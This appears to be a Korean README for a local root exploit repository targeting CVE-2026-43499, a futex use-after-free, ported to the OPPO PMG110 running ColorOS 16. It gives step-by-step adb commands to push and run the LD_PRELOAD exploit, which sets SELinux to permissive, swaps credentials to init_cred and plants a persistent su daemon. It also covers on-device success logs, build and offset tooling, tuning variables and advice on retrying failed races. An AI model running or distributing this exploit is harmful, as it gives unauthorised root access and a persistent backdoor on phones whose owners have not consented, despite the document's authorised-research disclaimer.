
CVE-2026-43499(futex PI rt_mutex_waiter use-after-free) 로컬 권한 상승, OPPO PMG110 / K15 Pro+ — MediaTek MT6991, ColorOS 16용으로 포팅됨.
파일 하나만 푸시하고 LD_PRELOAD로 실행합니다:
adb push out/preload-pmg110-16.0.9.400.so /data/local/tmp/preload.so
adb shell chmod 644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
성공하면 지속형 su가 남습니다:
adb shell /data/local/tmp/su -c id # uid=0(root)
기기에서 검증됨 (2026-07-27): 환경 변수 재정의 없이 기본 실행으로 약 35초 만에 uid=0을 획득했고, 이후 일반 권한 없는 adb shell에서도 su가 응답했습니다:
$ adb shell "/data/local/tmp/su -c 'echo 0 > /proc/sys/kernel/kptr_restrict'"
$ adb shell "/data/local/tmp/su -c 'grep -w init_task /proc/kallsyms'"
ffffffe89033e780 D init_task
익스플로잇과 su 설치는 모두 이 기기에서 검증되었습니다. 이후 루팅된 셸이 읽어낸 값들은 익스플로잇과 무관하게 P0_KERNEL_PHYS_LOAD, 심볼 오프셋, KS_MTE_TAGGED=0을 독립적으로 확인해 줍니다 — targets/pmg110-16.0.9.400/NOTES.md 참조.
Write 1(SELinux permissive)과 Write 2(cred → init_cred)를 실행해 자식 프로세스를 uid=0으로 만들고, 거기서 내장 su 데몬을 설치합니다.
su는 두 번째 산출물이 아닙니다. su_daemon.c는 독립형 aarch64 PIE로 빌드되어 라이브러리의 .rodata에 .incbin되므로, preload.so 안에 실려 있다가 런타임에 다시 파일로 써집니다. warhol-root의 방식, 변경 없음.ksud 없음, KernelSU 없음su는 세 곳에 설치됩니다. 그중 하나가 실제로 접근하게 되는 경로이기 때문입니다:
데몬은 /data/local/tmp/temp_su.sock에서 수신 대기하고 /data/local/tmp/su_daemon.log에 로그를 기록합니다. 루트는 재부팅 후에도 유지되지 않으므로 부팅할 때마다 LD_PRELOAD 줄을 다시 실행해야 합니다.
KernelSU 설치가 필요하면 ghostlock-oneplus의 /data/local/tmp/a/e 경로를 대신 사용하세요.
익스플로잇 코어를 제외한 모든 것은 warhol-root의 것을 재창조하지 않고 가져온 것입니다:
targets/<device>/ 아래의 기기별 헤더를 빌드 시점에 source/src/로 스테이징하므로, DEVICE를 바꿔도 이전 기기의 헤더가 남을 수 없습니다source/Makefile의 툴체인 선택(있으면 NDK, 없으면 NDK sysroot를 대상으로 하는 호스트 clang)과 .so 링크 전에 build/embed/su_daemon_aarch64_pie를 생성하는 2단계 임베드 규칙su_daemon.c와 su_blob.S는 warhol-root의 것과 바이트 단위로 동일하며, su_install.c는 warhol-root의 preload.c 설치기입니다익스플로잇 코어는 warhol-root의 것이 아닙니다. warhol-root는 popsicle로, GKI 6.12 / android16에 고정되어 있고 generate_target.py가 다른 배너를 거부합니다. PMG110은 6.6 / android15이므로 여기의 코어는 ghostlock 6.6 트리입니다. 이 트리는 같은 코드의 후손이며(kernelsnitch/utils.h와 timeutils.h는 두 저장소 간에 바이트 단위로 동일함), 추가로 개발되었습니다.
익스플로잇 본체의 모든 줄 — Write 1, Write 2, KernelSnitch, pselect 경로 — 은 두 트리에서 동일한 코드입니다.
이것이 유일한 구조적 차이이며, 두 트리가 서로 다른 방식으로 루트를 획득하기 때문에 생긴 것입니다.
warhol-root는 익스플로잇 프로세스 자체를 루팅하므로 run_direct_root()에서 곧바로 install_embedded_su()를 호출합니다. 여기서 Write 2는 fork된 자식의 cred 포인터를 바꾸고 부모는 권한 없는 호출자로 남으므로, child_main()의 자식만이 설치를 수행할 수 있는 유일한 컨텍스트입니다 — 바로 그곳에서 실행됩니다.
두 트리 모두 util.c에 ENOSYS를 반환하는 동일한 weak install_embedded_su() 스텁을 포함하고 있습니다. 강한 정의를 제공하는 것이 이 경로를 켜는 방법입니다. 이 사실을 알아 두면 좋은 이유는, 어떤 이유로 su_install.c가 빠진 빌드도 여전히 링크되고 실행되기 때문입니다. 단지 su=0/38을 보고할 뿐 아무것도 설치하지 않습니다.
make # = make preload -> out/preload-<DEVICE>.so
make DEVICE=<name> # use targets/<name>/
make devices # list available DEVICE values
make info # show the selected target and the resolved toolchain
툴체인은 자동으로 찾습니다. ANDROID_NDK_HOME / ANDROID_NDK_ROOT를 먼저 확인하고, 그다음 Linux와 macOS의 일반적인 NDK 설치 위치를 확인하며, 모두 실패하면 NDK sysroot를 대상으로 하는 호스트 clang을 사용합니다. 검색을 덮어쓰려는 경우에만 ANDROID_NDK_HOME을 설정하세요. make info가 선택한 내용을 출력합니다.
빌드는 2단계로 진행되며, 이것이 알아 둘 만한 부분입니다:
su_daemon.c → build/embed/su_daemon_aarch64_pie, 독립형 aarch64 PIEsu_blob.S가 그 바이너리를 .rodata에 .incbin하고, 전체가 하나의 preload.so로 링크됩니다따라서 내장 su를 변경하는 유일한 방법은 make clean 후 재빌드하는 것입니다. su_daemon.c만 편집하면 되고 의존성도 선언되어 있지만, blob은 빌드 산출물이라 추적되지 않습니다.
targets/<device>/{target.h,device_offsets.h}는 빌드할 때마다 source/src/로 다시 스테이징되므로, 다른 기기의 오래된 헤더가 조용히 선택될 수 없습니다.
out/*.so는 추적되지 않습니다(warhol-root와 동일한 규칙) — clone 후 make 하세요.
.so는 -fvisibility=hidden으로 빌드되어 0개의 심볼을 내보냅니다. LD_PRELOAD 라이브러리는 프로세스 전체의 심볼 조회에서 우선권을 가지므로, 내보낸 심볼이 있다면 호스트 바이너리나 libc의 동일 이름 심볼을 가릴 수 있습니다. 이 플래그는 C 코드 생성에만 적용되므로 su_blob.S는 두 심볼을 수동으로 .hidden으로 표시합니다. 그 줄이 없으면 blob 경계가 라이브러리가 여전히 내보내는 유일한 것이 됩니다.
검증 실행에서는 이 중 어떤 것도 필요하지 않았습니다.
[*] futex_hashsize 2048 (8 possible CPUs)
[*] ks collisions=3/3 baseline=8 threshold=10x (80) accepted=[1244..1597] slowest_rejected=N
[+] child uid = 0
[+] embedded su wrote 15304 bytes to /apex/com.android.virt/bin/su
[+] embedded su daemon ready pid=NNNN socket=/data/local/tmp/temp_su.sock daemon=/apex/com.android.virt/bin/su
[+] embedded su install ok=1 errno=0 daemon=NNNN
[+] su ready: /data/local/tmp/su and /apex/com.android.virt/bin/su
[+] ghostlock preload verdict: EXPLOIT OK
child uid = 0은 익스플로잇이 성공했다는 뜻이며, 그 이후의 모든 것은 설치 과정입니다. 둘은 의도적으로 분리되어 보고되며, 판정도 마찬가지입니다:
중간 항목이 바로 유용한 구분입니다. target.h의 오프셋이 이 빌드에 맞다는 뜻이며 문제는 설치 어딘가에 있다는 것, 즉 디버깅해야 할 대상이 완전히 다르다는 의미입니다. 그 안의 su=0/38(ENOSYS)은 특히 weak 스텁이 링크되었다는 뜻입니다.
mm_struct leak failed 뒤에 오는 prepare_kernel_page retry N/24는 실패가 아닙니다. 루프 진행 상황이며, 성공한 실행에서도 나타납니다. 24회 시도를 모두 소진하고 prepare_kernel_page timeout이 나타날 때까지는 아무것도 실패한 것이 아닙니다. 마찬가지로 child uid = 2000과 함께 나타나는 probing cfi ... expected=9는 10라운드 중 한 라운드가 빗나간 것입니다.
잘린 로그로 실행을 판단하지 마세요. 그 실수로 여기서 진단을 한 라운드 통째로 잘못하는 비용을 치렀습니다.
실행 전체가 실패하는 것도 정상입니다. pselect 레이스는 100%가 아닙니다. 한 실행이 다섯 번 연속 레이스에서 지고 Write 1 failed로 끝날 수 있으며, 다음 실행에서는 첫 시도에 ret=9로 성공합니다. 이 기기에서 관찰된 내용입니다. ret=4 expected=9는 레이스에서 진 모습이지 target.h가 잘못된 것이 아닙니다. 실패 한 번은 오프셋을 다시 유도할 이유가 되지 않습니다. 다시 실행하세요.
승인된 보안 연구 및 교육 목적으로만 사용하세요.
| 기기 | OPPO PMG110 / K15 Pro+ / OP61E5L1 |
| SoC | MediaTek MT6991 (Dimensity 9500s) |
| 커널 | 6.6.118-android15-8-g93e223c276e7-abogki500782043-4k (GKI, 4K 페이지) |
| 빌드 | ColorOS 16 / PMG110_16.0.9.400(CN01) — 16.0.8.300과 동일한 커널 바이트 |
| 버그 | CVE-2026-43499, 이 이미지에서 수정되지 않음 (버전이 아닌 디스어셈블리로 확인됨) |
| 경로 | 이유 |
|---|
/apex/com.android.virt/bin/su | 해당 디렉터리에 마운트된 tmpfs 위에 있음. 루트 셸의 PATH에 포함됨 |
/data/local/tmp/su | PATH 조작 없이 일반 adb shell에서 접근 가능 |
/apex/com.android.virt/bin/su adbd의 마운트 네임스페이스 안 | setns로 설치되므로 새 adb shell에서 보임 |
| 파일 | 관계 |
|---|
util.c slide.c fops.c pipe.c root.c miniadb.c common.h offset.h kernelsnitch/* | ghostlock의 것, 바이트 단위 동일 |
su_daemon.c su_blob.S | warhol-root의 것, 바이트 단위 동일(su_blob.S는 .hidden 줄 두 개를 추가함 — Build 참조) |
su_install.c | warhol-root의 preload.c 설치기를 자체 파일로 옮긴 것. 이 트리의 preload.c는 이미 다른 역할을 맡고 있기 때문 |
main.c | ghostlock의 것 + 루팅된 자식의 su 호출과 결과 보고 |
preload.c | 여기에만 있음 — 생성자와 이중 수신처 로그 |
offsets.h | 구조체 정의만 있음. 항목은 targets/<device>/device_offsets.h에서 스테이징됨 |
| 변수 | 효과 |
|---|
GHOSTLOCK_LOG | 로그 대상(기본값 /data/local/tmp/.ghostlock.log). 출력은 stdout 및 파일로 감 |
GHOSTLOCK_KS_VERBOSE=1 | KernelSnitch의 충돌 주소와 스윕 범위를 출력 |
GHOSTLOCK_KS_THRESHOLD=<n> | 충돌 임계값 배수를 재정의 |
GHOSTLOCK_MTE=1 | 커널 포인터 태그도 함께 스윕(15배 느림) |
GHOSTLOCK_PHYS_LOAD=0x... | 커널 물리 로드 주소를 재정의 |
PSELECT_SHIFT=<n> | 스택 오버레이 시프트를 재정의(대체하며, 추가하지 않음) |
| 판정 | 의미 |
|---|
EXPLOIT OK | 루트 획득 및 su 응답 |
EXPLOIT OK, SU INSTALL FAILED | Write 1과 Write 2는 성공했음. 설치만 실패 |
EXPLOIT FAILED | Write가 성공하지 못함 |
ABORTED | 보고하기 전에 실행이 중단됨 — 마지막 [!] 줄을 읽을 것 |
| 경로 | 내용 |
|---|
source/src/preload.c | 생성자: 익스플로잇 실행, 보고, 종료 |
source/src/main.c | 익스플로잇 자체(Write 1 / Write 2) |
source/src/su_daemon.c | su 바이너리 — .so에 링크되지 않고 독립형 aarch64 PIE로 빌드됨 |
source/src/su_blob.S | 해당 PIE를 .so의 .rodata에 .incbin함 |
source/src/su_install.c | blob을 다시 파일로 쓰고, 데몬을 시작하고, 프로브함 |
source/src/target.h | 스테이징 대상(gitignored) |
targets/<device>/target.h | 컴파일 타임 레이아웃: 구조체 오프셋, physmap 상수, slab 및 futex 형태 |
targets/<device>/device_offsets.h | kallsyms에서 얻은 전역 심볼 오프셋 |
tools/extract_device.py | boot.img → 오프셋, BTF 구조체 필드, pselect 오버레이 결과 |
tools/preloader_memlayout.py | MediaTek preloader → P0_KERNEL_PHYS_LOAD |
tools/qemu_verify.py | QEMU에서 커널 부팅: 스택 오버레이 측정, 선형 맵 안정성 확인 |
tools/device_probe.sh | 권한 없는 adb shell에서 실행하는 사전 점검 |